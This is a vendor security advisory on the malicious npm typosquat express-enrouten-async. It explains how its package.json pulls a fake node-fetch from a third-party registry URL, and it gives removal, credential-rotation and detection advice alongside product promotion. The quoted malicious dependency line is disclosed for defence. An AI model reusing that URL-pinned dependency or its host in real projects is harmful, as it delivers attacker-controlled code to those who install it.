express-enrouten-asyncnpm
express-enrouten-async is a confirmed malicious npm package (MAL-2026-4556) that typosquats a legitimate package to trick installs (malicious versions 1.4.11, 1.4.12). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in express-enrouten-async (npm)
What this malware does
Package name mimics the legitimate express-enrouten route-discovery library, but the shipped index.js only hardcodes two demo routes rather than implementing automatic route discovery. The malicious mechanism is in package.json, which declares "node-fetch": "https://registry.ctzbg.com/express-enrouten-async/node-fetch" — a direct URL dependency pointing at a third-party, non-npm registry under a path namespaced to this package. On npm install, npm fetches and installs whatever tarball that URL serves as the installer's node-fetch, so any code requiring node-fetch in the host application loads attacker-controlled, unpinned, mutable bytes from a non-publisher domain. This is dependency-confusion-style supply-chain attack: the lookalike package name lures the install, and the URL-pinned fake node-fetch is the delivery vehicle for arbitrary code into the installer's dependency tree.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-enrouten-async (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-enrouten-async across your stack and pipelines.
If you installed it — respond
express-enrouten-async is a typosquat — you almost certainly intended a legitimately-named package. Remove express-enrouten-async, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If express-enrouten-async was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks express-enrouten-async before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks express-enrouten-async-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.